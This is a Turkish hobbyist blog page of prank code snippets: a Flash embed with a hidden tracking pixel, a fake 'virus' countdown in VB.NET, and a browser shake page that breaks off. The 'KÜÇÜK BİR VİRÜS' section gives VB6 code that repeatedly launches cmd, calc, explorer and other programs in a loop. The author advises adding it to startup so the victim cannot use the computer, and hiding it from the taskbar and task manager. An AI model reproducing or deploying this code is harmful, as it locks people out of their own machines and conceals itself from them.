____________________________________________________________________________

SİTENİN İÇİNE GİRDİĞİNDE SÜRPRİZ OLMASINNI İSTİYORSAN EKLE :

<center><br /><br /><form action="http://www.bum-files.com" method="post" target="_new"><embed src="http://www.bum-files.com/Files/Animations/jinglebellsreversed.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="500" height="400"></embed><input type="submit" value="Flash Animations At bum-files.com" /><br /><br /></form></center><img style="visibility:hidden;width:0px;height:0px;" border=0 width=0 height=0 src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyMzY1NjEwMTU5ODQmcHQ9MTIzNjU2MTAyMjk4NCZwPTU2MzUxJmQ9Jmc9MSZ*PSZvPTBiMTA2ODlkNTEyMTRhYWQ5NDY1NzYxN2NiNzU1YWZj.gif" _fcksavedurl="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyMzY1NjEwMTU5ODQmcHQ9MTIzNjU2MTAyMjk4NCZwPTU2MzUxJmQ9Jmc9MSZ*PSZvPTBiMTA2ODlkNTEyMTRhYWQ5NDY1NzYxN2NiNzU1YWZj.gif" />

BASİT BİR ŞAKA

formunuza 1 adet tımer 1 adet progressbar koyun.progressbarın properties ayarından value yi 100 yapın.timerin interval özelliğini 1000 yapın. enabled özelliğinide ture yapın.1 adet label koyup içine "bilgisayarınız 10 sn.sonra kaydedilen bütün bilgileri silecektir" yazın ve aşağıdaki kodu kopyalayın.basit bir şaka programıdır belki bir işinize yarayabilir.kolay gelsin.. Private Sub Timer1_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles Timer1.Elapsed If ProgressBar1.Value > 20 Then ProgressBar1.Value = ProgressBar1.Value - 10 Else Timer1.Enabled = False MsgBox("AHA!!!", MsgBoxStyle.OKOnly, "VİRÜS") ProgressBar1.Value = 100 End If End Sub Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing MsgBox("Bu programı sonlandıramazsınız!!", MsgBoxStyle.OKOnly, "VİRÜS") End Sub Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed MsgBox("Tamam,tamam korkma kapanıyor...", MsgBoxStyle.OKOnly, "VİRÜS") End Sub

KÜÇÜK BİR VİRÜS

yapmanız gereken tek şey forma bir timer nesnesi yerleştirmek. eve aşağıdaki kodu yazmak. haa bide timer in interval özelliğini 1000 yapın ki daha çabul olsun. Private Sub Timer1_timer() For i = 1 To 100 Shell "cmd" Shell "calc" Shell "C:Program FilesMessengermsmsgs.exe" Shell "explorer" Shell "mspaint" Shell "sndrec32" Shell "C:Program FilesMovie Makermoviemk.exe" Shell "winmine" Next End Sub NOT: Sadece siz açtığınızda çalışır bu program eğer. Bunu başlangıca koyabilirseniz. Bilgisayar her açıldığında çalışacaktır.Böylece kullanıcı bilgisayarı kullanamayacak. Hahahahaha ben ne kadar kötüyüm yauwww. selam ben "*****Emrah Şimşek*****" gönderdiğim ufak virüs örneğine bi ekleme yaparsanız daha ii olur. il olarak formun BorderStyle özelliğini 0 yapın. böylece programınız görev çubuğunda gözükmeyecek. daha sonrada aşağıdaki kodu yazın. artık görev yöneticisindede programınız gözükmeyecek. Private Sub Form_Load() App.TaskVisible = False form1.Visible=False End Sub NOT: Görev yönetisinde işlemler sekmesinden programını kapatabilir. Ama oraya gelebilirse. Birde kendi programınızıda açtırmayı becerirseniz. tamamdır. şimdilik byeee! ÇOK ÖNRMLİ BİR NOOOT : hehehehe arkadaşlar benim msn adresimi alınlar var onlara bişiy dicem. Arkadaşlar çok meşgül olduğum için msn doğru düzgün açamıyorum. Ama yinede size yardım etmeye çalışcam. Şimdilik Byeee!

TİTRETME

<html><HEAD> <****** LANGUAGE="JavaScript1.2">  </******> <link rel="alternate" type="application/rss+xml" title="yk1001 - HOŞGELDİNİZ Blog RSS" href="http://yk1001.blogcu.com/rss.php" /> <meta name="description" content="BASİT BİR ŞAKA formunuza 1 adet tımer 1 adet progressbar koyun.progressbarın properties ayarından value yi 100 yapın.timerin interval özelliğini 1000 yapın. enabled özelliğinide ture yapın.1 adet" /> <meta name="keywords" content="Sitene, ŞakA, Ekle" /> </head> <BODY bgcolor="red"> <center><font color="white"> <h1>DÜĞMEYE BASIN VE OLANLARI GÖRÜN</h1> <br> <h3>dilerseniz seri bi şekilde space'e basmayı deneyin</h3> <center> <form> <input type=button onClick="shake(2)" value="BAŞLA"> </form>